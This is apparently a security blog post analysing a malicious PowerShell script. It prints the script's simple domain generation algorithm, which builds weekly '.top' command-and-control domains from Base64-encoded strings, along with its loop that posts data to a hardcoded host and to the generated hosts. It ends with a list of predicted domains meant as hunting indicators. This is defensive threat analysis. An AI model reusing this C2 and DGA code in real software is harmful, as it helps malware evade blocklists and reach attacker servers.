Simple DGA Spotted in a Malicious PowerShell

blog.rootshell.be/2020/07/14/simple-dga-spotted-in-a-malicious-powershell/

July 14, 2020

DGA ("*Domain Generation Algorithm*") is a technique implemented in some malware families to defeat defenders and to make the generation of IOC's (and their usage – example to implement black lists) more difficult. When a piece of malware has to contact a C2 server, it uses domain names or IP addresses. Once the malicious code analyzed, it's easy to build the list of domains/IP used and to ask the network team to block access to these network resources. With a DGA, the list of domain names is generated based on some criterias and the attacker has just to register the newly generated domain to move the C2 infrastructure somewhere else… This is a great cat & mouse game!

I found a malicious PowerShell script that implements a simple DGA. Here is the code:

```
function xfyucaesbv( $etdtyefbg ){
  $ubezabcvwd = "http://bito.carlaarrabito.it/";
  "ge","6h","sp","FT","4H","fW","mP" | %{ $ubezabcvwd += ","+"http://"+ (
[Convert]::ToBase64String(   [System.Text.Encoding]::UTF8.GetBytes( $_+ $(Get-Date -
UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
  $ubezabcvwd.split(",") | %{
    if( !$myurlpost ) {
      $myurlpost = $_ -replace "=", "";
      if(!(sendpost2($etdtyefbg + "&domen=$myurlpost"))) {
        $myurlpost = $false;
      };
      Start-Sleep -s 5;
    }
  };
  if( $etdtyefbg -match "status=register" ){
    return "ok";
  } else {
    return $myurlpost;
  }
};
```

The most interesting line is this one:

```
PS C:\Users\REM> "ge","6h","sp","FT","4H","fW","mP" | %{ $ubezabcvwd +=
","+"http://"+ ( [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes(
$_+ $(Get-Date -UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
$ubezabcvwd.split(",")
http://bito.carlaarrabito.it/
http://z2uymda3mjk=.top/
http://nmgymda3mjk=.top/
http://c3aymda3mjk=.top/
http://rlqymda3mjk=.top/
http://negymda3mjk=.top/
http://zlcymda3mjk=.top/
http://bvaymda3mjk=.top/Â
```

The first hostname is hardcoded but others are generated by a concatenation of one string (out of the array) with a timestamp. The string is Base64 encoded and padding is removed if present. Example:

```
base64("ge" + "200729") = "z2uymda3mjk="
```

The fact that the timestamps is based on ‘%v’ (which indicates the number of the current week (0-51) is a good indicator of a DGA. One domain will be generated every week.

I tried to resolve the domain names from the list above but none of them is registered right now. I generated domains for the next two months and I’ve added them to my hunting rules:

```
z2uymda4mzi.top
nmgymda4mzi.top
c3aymda4mzi.top
rlqymda4mzi.top
negymda4mzi.top
zlcymda4mzi.top
bvaymda4mzi.top
z2uymda4mzm.top
nmgymda4mzm.top
c3aymda4mzm.top
rlqymda4mzm.top
negymda4mzm.top
zlcymda4mzm.top
bvaymda4mzm.top
z2uymda4mzq.top
nmgymda4mzq.top
c3aymda4mzq.top
rlqymda4mzq.top
negymda4mzq.top
zlcymda4mzq.top
bvaymda4mzq.top
z2uymda4mzu.top
nmgymda4mzu.top
c3aymda4mzu.top
rlqymda4mzu.top
negymda4mzu.top
zlcymda4mzu.top
bvaymda4mzu.top
z2uymda5mzy.top
nmgymda5mzy.top
c3aymda5mzy.top
rlqymda5mzy.top
negymda5mzy.top
zlcymda5mzy.top
bvaymda5mzy.top
z2uymda5mzc.top
nmgymda5mzc.top
c3aymda5mzc.top
rlqymda5mzc.top
negymda5mzc.top
zlcymda5mzc.top
bvaymda5mzc.top
z2uymda5mzg.top
nmgymda5mzg.top
c3aymda5mzg.top
rlqymda5mzg.top
negymda5mzg.top
zlcymda5mzg.top
bvaymda5mzg.top
z2uymda5mzk.top
nmgymda5mzk.top
c3aymda5mzk.top
rlqymda5mzk.top
negymda5mzk.top
```

```
zlcymda5mzk.top
bvaymda5mzk.top
```

I’ll keep an eye on them!